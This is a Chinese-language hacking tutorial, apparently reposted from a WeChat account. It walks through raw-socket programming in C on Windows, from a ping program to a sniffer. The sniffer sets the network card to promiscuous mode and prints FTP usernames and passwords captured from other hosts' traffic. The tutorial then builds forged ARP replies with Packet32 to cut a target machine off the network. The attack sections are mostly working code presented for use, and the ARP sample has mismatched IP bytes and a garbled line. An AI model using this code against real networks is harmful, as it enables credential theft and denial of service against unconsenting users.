黑客攻防之数据包嗅探
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
在通常情况下,网络通信的套接字程序只能响应与自己硬件地址相匹配或以广播形式发出的数据帧,对于其他形式的数据帧比如已到达网络接口,但却不是发给此地址的数据帧,网络接口在验证投递地址并非自身地址之后将不引起响应,即应用程序无法收取与自己无关的数据包。要想实现截获流经网络设备的所有数据包,就要采取一点特别的手段了。
一、原始套接字基础
到目前为止,接触的只是如图1所示的用户数据或应用数据部分。为了更好地了解数据包的封装过程,下面介绍IP首部、TCP首部和各类数据包的封包、解包及截获等。
图1 将数据封装成数据包的过程
原始套接字是允许访问底层协议的一类的套接字,即可以对底层的数据包进行操作。利用原始套接字能访问ICMP和ICMP等协议包,能读写内核不处理的IP数据包。在使用原始套接字前,需使用socket函数来创建一个原始套接字。
下面代码是将ICMP协议作为一种基层协议完成一个原始套接字的创建:
SOCKET s;
s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
第一个参数AF_INET代表TCP/IP协议;第二个参数SOCK_RAW表示SOCKET类型是原始套接字;第三个参数是用来指定协议类型,可以取IPPROTO_ICMP、IPPROTO_IGMP、IPPROTO_IP、IPPROTO_UDP以及IPPROTO_RAW。
不难看出,与创建套接字不同之处在于:把第二个参数的套接字类型设置为SOCK_RAW。由于原始套接字可以使人们对底层传输机制加以控制,所以它经常被黑客使用,从而使Windows中存在一个潜在的安全漏洞。更为严重的是,原始套接字可接收流经本地网络层以上的所有数据包。
二、利用ICMP原始套接字实现ping程序
ICMP是Internet Control Message Protocol(网际控制报文协议)的简称,从技术角度来说,ICMP就是一个“错误侦测与回报机制”,它能够检测网路的连线状况,也能确保连线的准确性。它是TCP/IP协议集中的一个子协议,属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。
ICMP协议对于网络安全具有极其重要的意义,但ICMP协议本身的特点决定了它非常容易被用于攻击网络上的路由器和主机。大家经常使用的ping命令就是通过ICMP协议实现的,下面将利用原始套接字发送ICMP数据包来实现ping命令。由于要使用原始套接字,所以在发送数据包前必须对数据包进行封装。在封装数据包前需了解ICMP报文的具体结构,如图2所示。
图2 ICMP 报文的结构
从中可以看出:8位类型段和8位代码段共同决定ICMP报文的类型。而类型字段有15个不同值,还可结合代码字段来描述特定类型的ICMP报文。要实现ping命令,则必须把发送的ICMP数据包类型段和代码段分别设置为8和0。这样就指向请求的回显功能,即ICMP回显请求报文,目标主机回应数据包的就是ICMP回显应答报文,其类型段和代码段分别为0和0。接着是16位检验和字段,它必须由程序进行计算填写,其算法现在已经公开。
在这里需要调用checksum函数来存储检验和,该函数的调用方法如下:
USHORT checksum(USHORT* buff, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buff++;
size -= sizeof(USHORT);
}
if(size) // 是奇数
{
cksum += *(UCHAR*)buff; }
cksum = (cksum >> 16) + (cksum & 0xffff); // 将32位的chsum高16位和低16位相加,然后取反
cksum += (cksum >> 16);
return (USHORT)(~cksum);
}
16位检验和字段的主要作用是检查收到数据包的完整性。先对报文首部每个16位数据进行二进制反码求和(可将整个首部看作由一串16位的字段组成),将其保存在检验和字段中。当收到一个数据包后,同样对其首部中16位数据进行二进制反码求和。由于接收方在计算过程中包含了发送方存在首部的检验和,如果首部在传输过程中没有发生错误,则接收方计算的结果应该为1。
由于ICMP报文结构中的内容是由类型字段和代码字段决定的,在这里已设置为ICMP回显报文。ICMP回显报文的具体结构如图3所示。
图3 ICMP 回显报文的具体结构
该报文中的标识符和序号的作用是表示一对特定的ICMP回显报文,当发送一个ICMP回显请求报文后,收到的ICMP回显应答报文中的标识符和序号与ICMP回显请求报文中的相同,所以这些字段都被原样返回。该过程用于确定收到的报文是否为该ICMP回显请求报文的应答报文,并且客户端发送的选项数据必须原样返回。
ICMP回显报文的结构如下:
typedef struct icmp_hdr
{
unsigned char icmp_type; // 类型
unsigned char icmp_code; // 代码
unsigned short icmp_checksum; // 校验和
unsigned short icmp_id; // 标识符
unsigned short icmp_sequence; // 序列号
//下面是选项数据
unsigned long icmp_timestamp; // 时间戳
} ICMP_HDR, *PICMP_HDR;
在发送ICMP回显请求报文时,一般使用icmp_id参数来保存ping程序的进程Pid号。由于在ICMP回显应答报文中icmp_id会原样返回,所以可利用该参数来确定收到的ICMP回显应答数据包,是否是刚发送的数据包的应答报文。要得到进程的Pid可以直接调用GetCurrentProcessId()函数,而且该函数没有参数,调用成功就可以返回进程的Pid。
而参数icmp_timestamp的作用是计算机ICMP回显请求报文发送到ICMP回显应答报文所经过的时间,其具体计算过程如下:
首先在构造ICMP回显请求报文时,调用GetTickCount函数得到系统从开机到现在的运行时间,而且该函数没有参数。如果调用成功则返回系统的运行时间,返回时间可精确到毫秒。在收到ICMP回显应答报文时,再调用GetTickCount函数得到运行时间。最后将两次时间相减就可以得到从ICMP回显请求报文发送到ICMP回显应答报文所用的时间。
ICMP回显请求报文的具体构造过程如下:
char buff[sizeof(ICMP_HDR)];
ICMP_HDR* pIcmp = (ICMP_HDR*)buff;
pIcmp->icmp_type = 8; //类型8
pIcmp->icmp_code = 0; //代码0
pIcmp->icmp_id = (USHORT)GetCurrentProcessId();//标识符为本进程id
pIcmp->icmp_checksum = 0; //检验和先设为0
pIcmp->icmp_timestamp = GetTickCount();//时间戳为系统运行时间
pIcmp->icmp_checksum = checksum((USHORT*)buff, sizeof(ICMP_HDR) ); //计算检验和
但通常发送的数据包中不仅只包含一个ICMP报文,整个数据包的基本结构如图4所示。
图4 数据包的基本结构
从中可以看出:除ICMP报文外,发送的数据包中还包含了以太网首部和IP首部两部分。对于原始套接字来说,是没有权限访问以太网首部的,在封装数据包时相应驱动程序会填充以太网首部,所以这部分不用编程。但IP首部是不让驱动程序填充的,这里不使用IP首部。构造ping程序需要经过初始化winsock属性、构造和发送ICMP回显请求报文、接收ICMP回显请求报文、分析并输出报文等几个步骤,其具体流程如图5所示。
图5 构造ping 程序的具体流程
虽然在构造发送数据时程序只需构造ICMP数据包部分,但在程序收到的数据包中是包含IP首部的。
从中可以看出:构造ping程序过程并不复杂。先构造ICMP报文进行发送,再接收数据,最后分析数据包并输出结果即可。
1、初始化winsock属性
需要对winsock进行初始化,包括加载winsock库、建立原始套接字、填写目标计算机的SOCK_ADDR_IN结构以及设置超时时间等。这些过程的具体实现代码如下:
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(WSAStartup(sockVersion, &wsaData) != 0) //加载winsock库
return 0;
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); //建立原始套接字
int OutTime=100; //超时时间
setsockopt(sRaw, IPPROTO_IP, IP_TTL, (char*)&OutTime, sizeof(OutTime)); //设置超时
SOCKADDR_IN dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(0);
dest.sin_addr.S_un.S_addr = inet_addr(argv[1]); //填写ping主机地址
2、构造和发送ICMP回显请求报文
在完成winsock初始化后,就需要构造ICMP回显报文,该过程在前面已经介绍过。在构建ICMP回显报文后,就可以调用sendto函数发送ICMP回显请求报文。其具体实现代码如下:
nRet = sendto(sRaw, buff, sizeof(ICMP_HDR) , 0, (SOCKADDR *)&dest, sizeof(dest)); //发送ICMP回显请求数据报
if(nRet == SOCKET_ERROR) //发送错误,提示并退出程序
{
printf(" sendto failed\n");
return 0;
}
3、接收ICMP回显请求报文
在发送完成后,就可以调用recvform函数来接收ICMP回显请求报文。其实现代码如下:
nRet = recvfrom(sRaw, recvBuf, 1024, 0, (sockaddr*)&from, &nLen);
if(nRet == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf(" timed out\n");
continue;
}
printf(" recvfrom failed \n");
return 0;
}
4、分析并输出报文
当接收到数据后就可以对收到的数据进行分析,再输出结果。由于收到的IP数据包时包含IP首部的,而IP首部的大小是20字节。可以通过一个结构来定义IP首部,该结构的具体内容如下:
typedef struct _IPHeader // 20字节的IP首部
{
UCHAR iphVerLen; // 版本号和头长度(各占4位)
UCHAR ipTOS; // 服务类型
USHORT ipLength; // 封包总长度,即整个IP报的长度
USHORT ipID; // 封包标识,唯一标识发送的每一个数据报
USHORT ipFlags; // 标志
UCHAR ipTTL; // 生存时间,就是TTL
UCHAR ipProtocol; // 协议,可能是TCP、UDP、ICMP等
USHORT ipChecksum; // 校验和
ULONG ipSource; // 源IP地址
ULONG ipDestination; // 目标IP地址
} IPHeader, *PIPHeader;
对数据的分析过程是:先从IP首部中得到8位协议字段,以确定IP首部之后是否是ICMP报文,如果是则继续往下读取;根据ICMP报文中icmp_id参数判断此ICMP报文是否与发送的ICMP回显请求报文中的icmp_id相同。如果相同则输出ping主机的IP地址、收到数据包的大小、从发送数据包到收到数据包所用的时间等信息。
分析并输出报文的具体实现代码如下:
int nTick = GetTickCount();//得到当前系统运行时间
IPHeader *Iphdr=(IPHeader*)recvBuf; //得到IP首部
if(Iphdr->ipProtocol!=0x01) //判断其是否是ICMP报文
{
printf("this is not a icmp packet\n");
return 0;
}
ICMP_HDR* pRecvIcmp = (ICMP_HDR*)(recvBuf + 20); //定位到ICMP报文首部
if(pRecvIcmp->icmp_id != GetCurrentProcessId())//判断收到的报文是否和发送的报文相对应
{
printf("this is another icmp packet\n");
return 0;
}
printf("Reply from %s: ",inet_ntoa(from.sin_addr)); //输出ping主机的ip
printf("bytes=%d ",nRet); //输出收到的字节数
printf("time=%dms\n",nTick - pRecvIcmp->icmp_timestamp);
//输出从发送数据报到收到数据报所经历的时间
Sleep(100);
到这里ping程序就设置完成了,其运行结果如图6所示。在本地计算机的“命令提示符”窗口中输入ping 192.168.0.12命令,即可看到其运行结果,如图7所示。不难看出,使用ping程序返回的数据与使用ping命令返回的数据是一样的。
图6 ping程序的使用
图7 使用ping命令
无论是使用ping程序还是使用ping命令,在运行的结果中可以看出,输出数据有4行,所以需要循环4次输出数据。
三、基于原始套接字的嗅探技术
由于套接字可以接收流经本地的网络层以及以上的所有数据,所以在建立原始套接字后,只需要对套接字进行监听,就可以嗅探到流经本地的网络以及以上的数据包。
现在很多嗅探工具不仅可嗅探本机数据,还可嗅探整个局域网数据。这里介绍如何通过编程实现嗅探整个局域网中的数据。局域网的连接方式有集线器和交换机两种。前者为以集线器(HUB)连接成的局域网(以太网),而后者为以交换机连接成的网络(交换式网络)。
下面是这两种网络的基本特点。
1、集线器(HUB)连接成的局域网
在这种网络中,数据时以广播的形式发送的,所以当局域网中的一台主机向目标主机发送数据后,局域网中每台主机的网卡都会收到此数据包,网卡内的单片程序会对数据包进行分析。该程序会先读取数据包中的以太网头部,在以太网头部中存储有目标主机的MAC地址,如果该地址与本地网卡的MAC地址相同,则表明该数据包已经到达目标主机,此时网卡就会把该数据包传给上一层处理,否则就会丢弃数据包。
广播分为第二层广播和第三层广播两种。第二层广播也称硬件广播,主要用于在局域网内向所有的节点发送数据,通常不会穿过局域网的边界(路由器)。而第三层广播则用于在这个网络内向所有的节点发送数据。广播信息是指以某个广播域所有主机为目的的信息,这些被称为网络广播。
2、交换机连接成的网络
由于以原始套接字为基础的嗅探技术嗅探不到该种网络中的数据,所以在这里只作简单介绍。在交换机网络环境中,当一台计算机向另一台计算机发送数据包后,该数据包会被交换机发送到指定的网络地址中。
由于流经每台计算机的逐句都会被局域网中任意一台主机的网卡接收到,所以判断后,将那些不是发给自己的数据丢弃。但只要将网卡设置成混杂模式,就可以收到流经局域网的所有数据,在C++中只需调用ioctsocket函数即可实现。该函数的具体调用方法如下:
DWORD dwValue = 1;
if(ioctlsocket(sRaw,SIO_RCVALL, &dwValue) != 0) //设置网卡为混杂模式
{
printf("ioctlsocket error\n");
return 0;
}
不难看出:ioctlsocket函数包括3个参数,这3个参数的具体作用如下。
sRaw:该参数指定一个I/O套接字的句柄。
SIO_RCVALL:该参数指定对套接字的操作指令。
&dwValue:该参数指定命令所带参数的指针。
当网卡被设置成混杂模式后,利用原始套接字接收数据,就可以接收到流经整个网络的全部数据,其实现流程如图8所示。
图8 对整个网络的全部数据进行嗅探的实现流程
从中可以看出嗅探程序的实现过程非常简单。先进行原始套接字的一些初始化操作,建立套接字并绑定到本地的一个IP;把网卡设置成混杂模式以实现接收流经局域网中的所有数据;最后是一个循环,多次接收和分析数据。嗅探程序主要针对数据包中的用户名和密码进行分析。下面开始编写嗅探FTP密码的程序。如果要实现一个嗅探FTP密码的程序,则必须先了解FTP数据包的结构,其结构如图9所示。
图9 FTP数据包的结构
利用原始套接字收到的数据包是没有以太网首部的,在这里不用考虑这部分的数据。下面来了解IP首部的基本结构,如图10所示。
图10 IP首部的基本结构
IP首部包含的字段的具体作用如下。
4位版本:指定IP协议的版本号,目前该字段设置为4,所以IP有时也被称为IPv4。
首部长度:首部长度是指首部占32bit字的数目,包含任何选项,是一个4bit字段。
16位总长度:指定整个IP数据包的长度。
8位协议:8位协议指定了下一层报文的协议,FTP数据包中该项为6,表示下一层是TCP报文。
32位源IP地址:该地址指定了数据包发送方的IP地址。
32位目标IP地址:该地址指定了数据包接收方的IP地址。
在VC++6.0中IP首部一般定义如下:
typedef struct _IPHeader
{
UCHAR iphVerLen; // 版本号和首部长度(各占4位)
UCHAR ipTOS; // 8位服务类型
USHORT ipLength; // IP数据报总长度
USHORT ipID; // 16位标识
USHORT ipFlags; // 3位标志和13位片偏移
UCHAR ipTTL; // 8位生存时间
UCHAR ipProtocol; // 8位协议,可能是TCP、UDP、ICMP等
USHORT ipChecksum; // 16位首部校验和
ULONG ipSource; // 32位源IP地址
ULONG ipDestination; // 32位目标IP地址
} IPHeader, *PIPHeader;
在了解IP首部的基础上再看看TCP首部的基本结构,如图11所示。
图11 TCP首部的基本结构
TCP首部中选项的长度一般是20字节。在这里只需了解16位源端口和目标端口号,分别指向客户端和服务端的端口号。在VC++6.0中TCP首部一般定义如下:
typedef struct _TCPHeader
{
USHORT sourcePort; // 16位源端口号
USHORT destinationPort; // 16位目的端口号
ULONG sequenceNumber; // 32位序列号
ULONG acknowledgeNumber; // 32位确认号
UCHAR dataoffset; // 高4位表示数据偏移
UCHAR flags; // 6位标志位
USHORT windows; // 16位窗口大小
USHORT checksum; // 16位校验和
USHORT urgentPointer; // 16位紧急指针
} TCPHeader, *PTCPHeader;
最后还需要了解FTP数据包的结构。由于FTP数据包没有一个统一的结构,这里是使用抓包的方式发送带用户名和密码的数据包结构。下面介绍如何通过编程来实现嗅探功能,先加载winsock库,建立原始套接字,绑定原始套接字到本地的某个IP地址。其实现代码如下:
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(WSAStartup(sockVersion, &wsaData) != 0) //加载winsock库
return 0;
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); // 创建原始套接字
char szHostName[56];
SOCKADDR_IN addr_in;
struct hostent *pHost;
gethostname(szHostName, 56); //得到本机计算机名
if((pHost = gethostbyname((char*)szHostName)) == NULL)//通过计算机名得到IP
return 0;
in_addr addr;
sockaddr_in addr_s;
//循环输出IP地址
for(int i=0;;i++)
{
char *p=pHost->h_addr_list[i];
if(p==NULL)
break;
memcpy(&addr.S_un.S_addr,p,pHost->h_length);
printf("第%d个ip:%s\n",i+1,inet_ntoa(addr));
}
printf("请输入要绑定在哪个ip上:");
int num;
scanf("%d",&num); //选择要监听的IP地址
if(num<1||num>i)
{
printf("输入错误\n");
return 0;
}
//填写sockaddr_in结构
addr_s.sin_family= AF_INET;
addr_s.sin_port=htons(0);
memcpy(&addr_s.sin_addr.S_un.S_addr, pHost->h_addr_list[num-1], pHost->h_length);
//绑定套接字到指定IP
if(bind(sRaw, (PSOCKADDR)&addr_s, sizeof(addr_s)) == SOCKET_ERROR)
{
printf("bind error\n");
return 0;
}
由于有的计算机上有两块或两块以上的网卡,必须选择把IP地址绑定在哪块网卡的IP上,可以根据自己的情况进行设置。
在进行一系列初始化操作之后,将网卡设置成混杂模式。需要调用recv函数来接收数据包,其实现代码如下:
char buff[1024];
int nRet;
while(TRUE) //循环接收数据
{
nRet = recv(sRaw, buff, 1024, 0);
if(nRet > 0)
{
GetPassWord(buff);
}
}
在接收到数据包后,需要对数据包进行分析,具体的分析过程如下:
(1)先查看IP首部的ipProtocol(8位协议)字段和TCP首部的destinationPort(目标端口号)字段,查看其是否是TCP数据包,且端口号是否是21。
(2)如果是TCP数据包,且端口号是21,则说明是FTP数据包。就可以进一步定位到FTP数据包部分,比较是否存在用户名和密码的特征字符(如USER和pass)。
(3)如果存在这些特征字符,则读出用户名和密码,并输出目标IP地址、用户名和密码等。
可以将数据分析的过程封装成一个函数GetPassWord,其函数的具体内容如下:
void GetPassWord(char *buff)
{
char UserName[256]; //保存用户名
char PassWord[256]; //保存密码
IPHeader *Iphdr =(IPHeader*)buff; //定位到IP首部
TCPHeader *Tcphdr=(TCPHeader*)&buff[sizeof(IPHeader)]; //定位到TCP首部
if(Iphdr->ipProtocol!=IPPROTO_TCP||ntohs(Tcphdr->destinationPort)!=21) //比较协议是否是TCP协议,目的端口号是否是FTP端口号
return;
char *FtpData=(char*)&buff[sizeof(IPHeader)+sizeof(TCPHeader)]; //定位到FTP报文
if(strnicmp(FtpData,"USER ",5)==0) //比较USER特征字符
{
sscanf(FtpData+4,"%*[ ]%s",UserName); //得到用户名
}
if(strnicmp(FtpData,"PASS ",5)==0) //比较PASS特征字符
{
sscanf(FtpData+4,"%*[ ]%s",PassWord); //得到密码
printf("目的IP:%s\n",inet_ntoa(*(in_addr*)&Iphdr->ipDestination)); //输出目的IP
printf("用户名:%s\n",UserName); //输出用户名
printf("密码:%s\n",PassWord); //输出密码
}
}
在程序设计完成后,在本地计算机“命令提示符”窗口中运行该嗅探程序,就可以列出可以绑定的IP地址,其运行结果如图12所示。在其中输入要绑定的IP地址对应的序号即可开始进行探测,如图13所示。
图12 嗅探程序的运行结果
图13 开始进行嗅探
四、Packet32进行ARP攻击曝光
虽然原始套接字可发送由程序构造的数据包,还可接收流经本地的网络层及以上的数据包,但还是具有一定局限性。如不能访问以太网首部,在Windows 下不能伪造IP首部中的源IP地址,不能发送原始TCP数据包。因此,一些功能是无法利用原始套接字实现的,如ARP攻击、伪造数据包等。
现在很多黑客工具必须安装Wincap后才可以使用,如cain、arpspoof等。这是因为这些工具都是用Wincap开发包编写的,而Wincap又是基于Packet32开发包的,而且Wincap中自带了Packet32,增加了很多错误处理方法。
Packet32是一个驱动级的开发包,它提供的接口都是基于驱动的。所以通过Packet32编写的程序可对链路层的数据包进行操作,其稳定性也比较强。对于广大用户来说,Packet32比较容易上手,因为Packet32提供的函数和API函数格式上非常相似。
在开始编程之前,先从网上下载Wincap的DDK编程包,其中包含了很多头文件(.h)和连接文件(.lib)。将其复制到C:\Program Files\Microsoft Visual Studio\VC98\Include和C:\Program Files\Microsoft Visual Studio\VC98\Lib目录下(Visual C++6.0的安装目录),就可以在VC中直接引入这些头文件和连接文件了。
在介绍调用Packet32包中的函数实现ARP攻击之前,需要先了解ARP协议的基本原理。ARP协议主要负责将局域网中32位IP地址转换为对应的48位物理地址,即网卡的MAC地址,比如IP地址为192.168.0.12,网卡MAC地址为00-1E-8C-FD-B0-85,整个转换过程是一台主机先向目标主机发送包含有IP地址和MAC地址的数据包,通过MAC地址两个主机可实现数据传输。在“命令提示符”窗口中输入“arp–a”命令,如图14所示。该命令的作用是查看存储在计算机中的ARP缓存表,它记录了IP地址与MAC地址的对应关系,其中的Dynamic表示临时存储在ARP缓存中的记录,如果超时就会被删除。
图14 查看ARP缓存表
如果源主机想和一台IP为192.168.0.15的目标主机进行通信,本地系统就会检查ARP缓存表,查找其是否有对应的ARP记录。如有则直接利用ARP缓存中对应的MAC地址传输数据;如没有则向以太网发送ARP请求包询问192.168.0.15对应的MAC地址。此时网络中每台主机都会收到这个请求包,但只有IP地址是192.168.0.15的主机会响应这个请求,将自己的MAC地址发送过来。这样,源主机中的ARP缓存表就会刷新,如图15所示。
图15 ARP缓存表刷新
在以太网中传输数据包中不是每次通信就发送一次ARP请求的,而是使用ARP缓存表,这是由ARP缓存表的作用决定的。ARP缓存表的作用是避免浪费大量的带宽,从而造成网络堵塞。
下面将通过Packet32创建一个ARP攻击工具,其原理是:在本地构造一个ARP回应数据包(这是一个伪造的数据包),目的是告诉目标主机,网关MAC地址是主机的地址,此时在目标计算机中的ARP缓存表中就会出现如下信息:
Internet Address Physical Address Type
192.168.0.45 00-1E-8C-17-B0-85 dynamic
其中192.168.0.45是网关地址;而00-1E-8C-17-B0-85是本地主机网卡的MAC地址。在通信过程中目标主机发送给网关的数据就会发送到本地主机的网卡上,此时目标主机就不能上网,这样就达到了攻击的目的。
1、ARP数据包的结构
在了解ARP攻击的基本原理之后,不难得出这样一个结论:只要构造ARP应答数据包并发送给目标主机即可实现攻击的目的。ARP数据包的结构非常简单,是由以太网首部和ARP报文组成的,其基本结构如图16所示。
图16 ARP 数据包的基本结构
由于发送的数据包是通过Packet32开发包中的函数实现的,而这个开发包又是可以访问链路层的,所以以太网首部不能为空。以太网首部的基本结构如图17所示。
图17 以太网首部的基本结构
其中以太网首部中的前两个字段是以太网的目标MAC地址和源MAC地址,目标地址是全为1的特殊地址,则表示广播地址。2字节的以太网帧类型的作用是表示后面数据的类型,对于ARP请求和应答来说,该字段的值是0x0806。
在VC++6.0中以太网首部定义如下:
typedef struct ethdr
{
unsigned char eh_dst[6]; //目的MAC地址
unsigned char eh_src[6]; //源MAC地址
unsigned short eh_type; //帧类型
}ETHDR,*PETHDR;
而ARP报文结构比较复杂,包括硬件类型、协议类型、硬件地址长度、操作类型等多个字段,其结构如图18所示。
图18 ARP报文结构
上图中的数字表示对应字段按字节计算的长度,其中各个字段的作用如下。
硬件类型:该字段表示硬件地址的类型,当其值为1时,则表示以太网地址。
协议类型:该字段表示要映射的协议地址类型,当其值为0x0800时表示IP地址。
硬件地址长度和协议地址长度:这两个字段长度都是1字节,分别指出了硬件地址和协议地址长度,以字节为单位。对于以太网IP地址的ARP请求和应答,其值分别为6和4。
操作类型:该字段提供了ARP请求(值为1)、ARP应答(值为2)、RARP请求(值为3)以及RARP应答(值为4)4种操作类型。
发送端MAC/IP地址和目标MAC/IP地址:这4个字段显示发送端的硬件地址、发送端的协议地址目标端的硬件地址、目标端协议地址等信息。在以太网的数据帧包头中和ARP请求数据帧中都有发送端的硬件地址。
在VC++6.0中ARP报文结构定义如下:
typedef struct arphdr
{
unsigned short arp_hdr; //2字节硬件类型
unsigned short arp_pro; //2字节协议类型
unsigned char arp_hln; //1字节硬件地址长度
unsigned char arp_pln; //1字节协议地址长度
unsigned short arp_opt; //2字节操作类型
unsigned char arp_sha[6]; //6字节发送端MAC地址
unsigned char arp_spa[4]; //4字节发送端IP地址
unsigned char arp_tha[6]; //6字节目的MAC地址
unsigned char arp_tpa[4]; //4字节目的IP地址
}ARPHDR,*PARPHDR;
2、构造欺骗数据包
在了解ARP数据包的基本结构后,还需要构造欺骗数据包。先来设置以太网首部。在以太网首部中将eh_dst参数设置为要攻击的目标MAC地址;将eh_src参数设置为本地主机网卡的MAC地址;将eh_type参数设置为0x0806。
下面对ARP报文进行设置,需要设置的参数有如下几个。
arp_opt:将操作类型设置为2,表示ARP应答报文。
arp_sha[6]:将发送端的MAC地址设置为本地主机的MAC地址。
rp_spa[4]:将发送端的IP地址设置为网关的IP地址,这是构造ARP攻击数据包的关键。当目标主机收到伪造的ARP数据包时,就会把arp_sha[6]中的MAC地址和arp_spa[4]中的IP地址关联起来。目标主机就会把伪造的MAC地址看作网关的MAC地址,这样,通信数据就会发送到本地主机的网卡上,此时目标主机就无法上网了。
arp_tha[6]和arp_tpa[4]:将这两个参数分为设置为目标主机的MAC地址和IP地址。
在设置完以太网首部和ARP报文后,还需要得到本地网卡MAC地址和目标主机网卡的MAC地址。下面介绍如何编程来得到本地网卡的MAC地址,可通过调用函数GetAdaptersInfo来实现该功能,该函数的具体格式如下:
DWORD GetAdaptersInfo(
PIP_ADAPTER_INFO pAdapterInfo,
PULONG pOutBufLen);
其中各个参数的具体含义如下。
pAdapterInfo:该参数指向一个PIP_ADAPTER_INFO结构,该结构包含本地计算机网络适配器的详细信息,如适配器的MAC地址。
pOutBufLen:该参数指向一个PIP_ADAPTER_INFO结构的缓冲区大小,如果大小不够,则此函数返回所需的大小。
如果该函数调用成功,则返回ERROR_SUCCESS,且将网络适配器的详细信息保存在pAdapterInfo参数中,再将得到的本地MAC地址封装成一个函数GetLocMac。
该函数的具体内容如下:
BOOL GetLocMac(unsigned char *macaddr)
{
PIP_ADAPTER_INFO pAdapterInfo = NULL;
ULONG ulLen = 0;
GetAdaptersInfo(pAdapterInfo,&ulLen); // 得到要申请的堆栈空间大小
pAdapterInfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, ulLen); //申请所需的堆栈空间
if(GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) // 取得本地适配器结构信息
{
if(pAdapterInfo != NULL)
{
memcpy(macaddr, pAdapterInfo->Address, 6); //得到本地网卡MAC地址
return TRUE;
}
}
return FALSE;
}
在得到本地MAC之后,还需调用SendARP函数来获得目标主机的MAC地址。利用SendARP函数可扫描并获取当前网络上与相应IP地址绑定的网卡MAC物理地址。
该函数的具体格式如下:
DWORD SendARP(
IPAddr DestIP,
IPAddr SrcIP,
PULONG pMacAddr,
PULONG PhyAddrLen);
该函数包含的各个参数的具体含义如下。
DestIP:该参数作用是设置目标主机的IP地址,即想得到其MAC地址主机的IP地址。
SrcIP:设置发送者的IP地址,该参数可以设置为0。
pMacAddr:设置返回目标主机MAC地址的缓冲区。
PhyAddrLen:该参数设置pMacAddr参数所指向缓冲区的大小。
如果调用该函数成功,则返回NO_ERROR,并将目标主机的MAC地址存放在pMacAddr所设置的缓冲区中。这里把得到目标主机的MAC地址代码也封装成一个自定义函数GetDest Mac,该函数的具体内容如下:
BOOL GetDestMac(char *szDestIP,unsigned char *macaddr)
{
u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; //用来保存目标主机MAC地址
ULONG ulLen = 6;
if(SendARP(inet_addr(szDestIP), 0, (ULONG*)arDestMac, &ulLen) == NO_ERROR)
//得到目标主机MAC地址
{
memcpy(macaddr,arDestMac,6); //把MAC地址输出到参数
return TRUE;
}
return FALSE;
}
在成功地得到目标主机的MAC地址后,就可以构造攻击的ARP数据包,其代码内容如下:
ETHDR eth;
ARPHDR arp;
GetDestMac("192.168.0.45",eth.eh_dst); //目的MAC地址
GetLocMac(eth.eh_src); //源MAC地址
eth.eh_type=htons(0x0806); //帧类型
arp.arp_hdr=htons(0x0001); //硬件类型
arp.arp_pro=htons(0x0800); //协议类型
arp.arp_hln=6; //硬件地址长度
arp.arp_pln=4; //协议地址长度
arp.arp_opt=htons(0x0002); //操作类型
GetLocMac(arp.arp_sha); //发送端MAC地址
//发送端IP地址,设为网关的IP地址
arp.arp_spa[0]=121;
arp.arp_spa[1]=192;
arp.arp_spa[2]=17;
arp.arp_spa[3]=1;
GetDestMac("192.168.0.45",arp.arp_tha); //目标主机MAC地址
//目标主机MAC地址
arp.arp_tpa[0]=121;
arp.arp_tpa[1]=192;
arp.arp_tpa[2]=17;
arp.arp_tpa[3]=41;
char sendbuf[1024]={0};
memcpy(sendbuf,ð,sizeof(eth)); //把以太网首部和ARP报文都复制到sendbuf中,组成完整的ARP数据包
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
至此,ARP攻击数据包构造部分就介绍完了。只要将伪造好的ARP数据包发送给目标主机,就可以实现攻击目的了。
3、发送ARP数据包
可以利用Packet32开发包中的函数将已经构造好的ARP数据发送给目标主机,其具体实现流程如图19所示。
图19 发送ARP数据包具体流程
可以看出:发送数据包的过程并不复杂,只需按照图中的顺序来调用相应的函数即可实现发送ARP数据包。另外,在发送完毕之后,还需要调用相应的函数关闭打开的网卡。下面将详细介绍这些函数的基本格式以及具体调用方法。
(1)PacketGetAdapterNames。该函数是packet32开发包自带的一个函数,其作用是获得现有的网络适配器的列表及其对应的信息。其具体格式如下:
BOOLEAN PacketGetAdapterNames(
LPSTR pStr,
PULONG BufferSize)
其中包含的各个参数的作用如下。
pStr:该参数指向保存网络适配器名称的缓冲区。
BufferSize:该参数的作用是设置pStr参数所指向的缓冲区。
该函数的调用方式如下:
if(PacketGetAdapterNames(AdapterName,&AdapterLength)==FALSE) //得到所有网卡适配器名称
{
printf("PacketGetAdapterNames Error\n");
}
如果成功调用该函数,则会返回一个非0值,并将网络适配器的名称保存在pStr参数所指向的缓冲区中。在调用完该函数后就可以得到所有网络适配器的名称,但有些主机可能拥有多块网卡,就会得到很多网络适配器的名称,此时就需要用户自己选择要打开的网卡。
(2)PacketOpenAdapter。在选择要打开的网卡后,需要调用PacketOpenAdapter函数打开选择的网卡。该函数的具体格式如下:
LPADAPTER PacketOpenAdapter(
LPTSTR AdapterName);
可以看出:该函数只包含参数AdapterName,其表示网络适配器的名称,由PacketGet AdapterNames返回。如果该函数调用成功,则会返回一个指向正确初始化的ADAPTER结构的指针,否则就返回NULL。
ADAPTER结构的具体格式如下:
typedef struct _ADAPTER
{
HANDLE hFile; // 一个打开的NPF driver实例的句柄
CHAR SymbolicLink[MAX_LINK_NAME_LENGTH]; // 当前打开的网卡的名字
int NumWrites; // 在这块网卡上,一个数据包被写的次数
HANDLE ReadEvent; // 这块网卡上的读操作的通知事件。它可以被传递给标准Win32函数(如WaitForSingleObject或者WaitForMultipleObjects),这样可以等待driver的缓冲区内有数据到来
UINT ReadTimeOut; // 设置一个时间,到时候即使没有捕获任何包,read操作也会被释放,ReadEvent也会被触发
} ADAPTER, *LPADAPTER;
